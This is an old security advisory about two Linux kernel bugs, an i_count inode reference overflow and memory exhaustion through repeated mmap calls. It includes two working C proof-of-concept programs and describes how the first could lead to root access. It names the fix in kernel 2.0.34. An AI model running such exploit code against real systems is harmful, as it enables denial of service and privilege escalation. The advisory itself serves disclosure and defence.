COMMAND

    i_count Overflow Security Hole

SYSTEMS AFFECTED

    Linux

PROBLEM

    Jan  Kotas  found  following  two  nasty  things in Linux sources.
    Member i_count in struct inode contains the usage count. It is  of
    type  unsigned  short,  which  is   only  16-bit  long  on   i386.
    Unfortunately,  it  is  not  enough.  You  can make it overflow by
    mapping  one  file  many  times  (Warning: This program will cause
    unpredictable behavior of the whole system!):

    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/mman.h>

    void main()
    {
     int fd, i;

     fd = open("/lib/libc.so.5", O_RDONLY);

     for(i = 0; i < 65540; i++)
     {
      mmap((char*)0x50000000 + (0x1000 * i), 0x1000,
       PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
     }
    }

    While killing this program kernel will print many messages:

        VFS: iput: trying to free free inode

    After executing  the program,  there will  be free  inode which is
    actually mapped  in other  processes. The  only think  you need to
    grab root  privileges is  opening your  modified libc  in original
    inode and making system  to use it.   It is a little  tricky magic
    with inode cache and memory manager.

    Second problem can  crash system by  eating up your  memory.  This
    topic  is  related  to  previous  one.  The  Linux  memory manager
    allocates small chunk (64 bytes) of memory for every file mapping.
    By mapping one  file many times,  a process can  eat all available
    memory and actually stop the system responding even for root.  You
    can do it by executing one or more instances of program like  this
    (Warning: This  program will  cause unpredictable  behavior of the
    whole system!):

    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    #include <stdio.h>

    void main()
    {
     int fd, i;
     char *name;
     char *address;

     name = tmpnam(NULL);
     fd = open(name, O_RDWR | O_CREAT);
     unlink(name);

     address = (char*)0x1000;

     for(i = 0; ; i++)
     {
      /* skip program interpreter */
      if(address == (char*)0x08000000) address = (char*)0x09000000;
      else
      /* skip program itself */
      if(address == (char*)0x40000000) address = (char*)0x41000000;
      else
      /* skip program stack and kernel */
      if(address == (char*)0xBF000000) break;

      if(mmap(address, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == (void*)
    -1)
       break;

      if(!(i&0xFFF)) fprintf(stderr, "%d done\n", i);

      address += 0x1000;
     }

     fprintf(stderr, "%i (%08x) total, press Ctrl+C\n", i, address);

     for(;;) pause();
    }

    Every  instance  of  the  program  will  eat  about 32MB of RAM if
    running in typical  Linux configuration.   Although you can  avoid
    users  to  eat  resources  this  way  by  setting  resource limits
    properly this effect can be considered  to be a Linux bug.   Linux
    is  protected  to  avoid  allocating  all  process slots by normal
    users.   There  are  reserved  MIN_TASKS_LEFT_FOR_ROOT  slots  for
    root.  So there should be also protection to avoid allocating  all
    memory by normal users.

SOLUTION

    Making i_count unsigned  long fixes this.   Both issues are  fixed
    in 2.0.34.